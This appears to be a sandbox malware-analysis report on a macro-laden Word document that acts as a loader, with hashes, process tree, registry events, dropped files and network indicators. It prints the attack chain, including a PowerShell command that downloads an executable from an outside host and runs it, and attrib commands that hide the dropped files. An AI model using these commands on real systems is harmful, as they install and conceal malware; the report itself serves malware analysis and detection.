File name:

d72bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a

Full analysis: https://app.any.run/tasks/475b82db-60e0-4a92-a5bd-7995e434651f
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: November 14, 2018, 19:24:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: me, Template: Normal.dotm, Last Saved By: me, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Tue Nov 13 15:43:00 2018, Last Saved Time/Date: Tue Nov 13 15:44:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5:

05A7CC92E0075FDB3AB77800B9D06174

SHA1:

E8B4D6606404E7D2968F213A9598A6BB62085F55

SHA256:

D72BFCBF638E22979B2427F776738EF8DC95477BC8A29A3EAE3534544DD5C49A

SSDEEP:

384:4/MMMjAMuug3GbiSAoKXMVk4DUXk/ABRdN/GajEC0jIdt7:4/MMMjAMuugxMVkg/ATZnb

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3736)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3736)
    • Executes PowerShell scripts

      • cmd.exe (PID: 2616)
    • Application was dropped or rewritten from another process

      • nc.exe (PID: 3720)
      • nc.exe (PID: 3316)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3640)
    • Loads dropped or rewritten executable

      • nc.exe (PID: 3720)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3640)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3640)
      • nc.exe (PID: 3720)
    • Creates files in the program directory

      • WINWORD.EXE (PID: 3736)
      • powershell.exe (PID: 3640)
    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 2616)
    • Application launched itself

      • nc.exe (PID: 3720)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3736)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3736)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (35.9)
.xls | Microsoft Excel sheet (33.7)
.doc | Microsoft Word document (old ver.) (21.3)

EXIF

FlashPix

Title: -
Subject: -
Author: me
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: me
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: 1.0 minutes
CreateDate: 2018:11:13 15:43:00
ModifyDate: 2018:11:13 15:44:00
Pages: 1
Words: -
Characters: -
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: -
Paragraphs: -
CharCountWithSpaces: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
7
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs attrib.exe no specs powershell.exe nc.exe attrib.exe no specs nc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2616cmd /c C:\ProgramData\s.batC:\Windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2872attrib +h +r +s /s /d C:\ProgramData\nc.exeC:\Windows\system32\attrib.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\attrib.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ulib.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3316attrib +h +r +s /s /d C:\ProgramData\s.batC:\Windows\system32\attrib.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\attrib.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ulib.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3316"C:\ProgramData\nc.exe" C:\ProgramData\nc.exenc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft DirectX Diagnostic Tool
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\imm32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\usp10.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\kernelbase.dll
c:\systemroot\system32\ntdll.dll
c:\programdata\nc.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\shlwapi.dll
3640C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell (New-Object System.Net.WebClient).DownloadFile('http://file.buttsdki.ca/updater.exe','C:\ProgramData\nc.exe');Start-Process 'C:\ProgramData\nc.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3720"C:\ProgramData\nc.exe" C:\ProgramData\nc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft DirectX Diagnostic Tool
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\programdata\nc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
3736"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\d72bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
Total events
1 258
Read events
1 153
Write events
96
Delete events
9

Modification events

(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName::4%
Value:
3A342500980E0000010000000000000000000000
(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3736) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1299054611
(PID) Process:(3736) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054728
(PID) Process:(3736) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054729
(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
980E00008CE863A84F7CD40100000000
(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:%5%
Value:
25352500980E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:%5%
Value:
25352500980E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3736) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
3
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
3736WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR98BA.tmp.cvr
MD5:
SHA256:
3736WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFF633E38AA3D7C99A.TMP
MD5:
SHA256:
3736WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2B18D726-90B1-4219-978A-C19C2C3622A8}.tmp
MD5:
SHA256:
3736WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{878A9074-F7C0-4BA2-A3F8-F02D00C43D50}.tmp
MD5:
SHA256:
3640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9DD0J3WEAT6ADBNTWWL4.temp
MD5:
SHA256:
3736WINWORD.EXEC:\ProgramData\s.battext
MD5:
SHA256:
3640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a02c.TMPbinary
MD5:
SHA256:
3736WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
3736WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$2bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a.docpgc
MD5:
SHA256:
3640powershell.exeC:\ProgramData\nc.exeexecutable
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3640
powershell.exe
GET
200
51.38.152.69:80
http://file.buttsdki.ca/updater.exe
GB
executable
151 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3640
powershell.exe
51.38.152.69:80
file.buttsdki.ca
GB
malicious

DNS requests

Domain
IP
Reputation
file.buttsdki.ca
  • 51.38.152.69
suspicious

Threats

PID
Process
Class
Message
3640
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3640
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info